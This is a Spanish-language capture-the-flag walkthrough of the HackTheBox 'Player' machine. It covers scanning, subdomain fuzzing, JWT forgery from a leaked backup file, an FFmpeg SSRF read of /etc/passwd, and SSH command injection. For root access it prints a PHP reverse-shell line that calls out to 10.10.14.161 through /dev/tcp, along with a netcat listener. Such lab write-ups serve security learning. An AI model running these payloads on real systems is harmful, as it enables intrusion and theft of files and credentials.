Sigo publicando soluciones enviadas para su
posterior procesamiento desde el sitio
HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, revisaremos el JWT, realizaremos enumeraciones web como la búsqueda de directorios, subdominios y archivos de respaldo, explotaremos SSRF en el codificador FFmpeg y RCE en SSH.
La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)
Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
Inteligencia
Escaneo de puertos
Esta máquina tiene una dirección IP de 10.10.10.145, que agrego a / etc / hosts.
10.10.10.145 player.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000

A continuación, debe recopilar más información sobre los puertos conocidos. Para hacer esto, use nmap con la opción -A.
nmap -A player.htb -p22,80,6686

Por lo tanto, el host ejecuta SSH en los puertos 22 y 6686, así como el servidor web Apache en 80.
Enumeraciones web
En primer lugar, ve a ver la web. Pero, por desgracia, no hay nada interesante.

En este caso, generalmente necesita escanear los directorios. Para hacer esto, use un gobuster rápido. Especifique en los parámetros que queremos escanear directorios (dir), especifique el sitio (-u), una lista de palabras (-w), extensiones que nos interesan (-x), el número de hilos (-t).
gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
De estos directorios, un lanzador interesante. Dice que este es un servicio de edición de video y necesitamos un correo electrónico válido.

Después de jugar un poco con el formulario, noté que envía datos a la página /launcher/dee8dc8a47256c64630d803a4c40786c.php, allí comprueba y vuelve a dirigir.

De todo lo que tenemos, nada y nada nos dará. El siguiente paso en la lista es la búsqueda de subdominios. Recientemente, después de que me aconsejaron usar wfuzz, lo uso y aconsejo lo mismo a los demás. Especifique el encabezado (-H), el diccionario (-w), la URL (-u) y excluya el código de respuesta 403 (--hc 403).
wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403

Por lo tanto, encontramos tres subdominios que también deben agregarse a / etc / hosts.
10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb
En el desarrollo, solo hay un formulario de autorización, en el chat solo chat inútil y en la preparación de un formulario para algunos contactos.



Después de probar un poco el formulario, todo lo que tenemos es una redirección a 501.php y algunos datos con el error indicado.



Pero, de nuevo, esto no fue suficiente. Además, lo que generalmente olvido, decidí verificar las copias de seguridad de los archivos. Entonces se descubrió /launcher/dee8dc8a47256c64630d803a4c40786c.php~

En este código, el JWT (token) se decodifica y verifica. Dependiendo de la verificación, se produce una redirección a una de las páginas. Si no se proporciona el token, se nos asigna.
Como conocemos la clave y el valor final, podemos codificarlo y obtener un token válido. Esto se puede hacer usando este
sitio .

Obtenemos una ficha codificada. Y sustitúyalo en la solicitud.


Como resultado, se nos presentó un formulario de carga de archivos multimedia. Después de descargar la imagen, se nos ofreció descargar el archivo multimedia en formato AVI.

Punto de entrada
Como AVI se crea a partir de nuestro archivo, podemos utilizar un exploit que le permite leer archivos. El código se puede tomar
aquí . Veamos esto y veamos el archivo / etc / passwd.

Veamos esto y veamos el archivo / etc / passwd.
python3 gen_avi.py file:///etc/passwd passwd.avi
Después de descargar y abrir el archivo, observamos el archivo / etc / passwd.

Como podemos leer archivos, necesitamos recopilar una lista de aquellos que conocemos. Recordamos errores en el archivo contact.php. Leamos todos los archivos enumerados allí.

Y no había nada interesante en el archivo de contacto, la solución no se podía leer, pero en service_config encontramos el nombre de usuario y la contraseña.

Intentemos iniciar sesión en dev.player.htb con ellos: los datos no se ajustan, pero hay dos SSH más. El puerto 22 es un fracaso, pero en 6686 obtenemos un shell.

Usuario
Pero el shell es limitado, y recordé la versión 7.2 y decidí verificar los exploits.

Por lo tanto, si tenemos credenciales, podemos ejecutar la inyección de comandos.


También nos proporcionan una lista de comandos para leer y escribir archivos. Leemos la bandera del usuario.

RAÍZ
Ahora deberíamos tener suficientes derechos para leer fix.php

Encontramos datos interesantes que ya caben en dev.player.htb. Y allí encontramos el proyecto.

Y se puede acceder a este archivo al acceder desde el entorno externo. Es decir, podemos colocar el caparazón.

Para hacer esto, abra su proyecto.

A continuación, cree un archivo con el siguiente shell.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?>

Ahora abra la sesión usando netcat.
nc -lvp 4321
A continuación, pasamos a nuestro archivo.


Después de completar las enumeraciones y verificar algunas opciones más, nos detenemos en los procesos de verificación. Gracias a pspy64, puede determinar que el script buff.php se ejecuta de vez en cuando con un UID de 0, es decir. como raíz

Veamos qué hace el guión.

Cuando intentamos agregar código a este archivo, nos encontramos con un problema: no tenemos derechos.

Pero en el script, se incluye otro archivo, en el que tenemos derecho a escribir.

Escribiremos el shell que ya usamos en este archivo, y en netcat estamos esperando la conexión.

De esta manera obtenemos los máximos privilegios.
Puedes unirte a nosotros en
Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.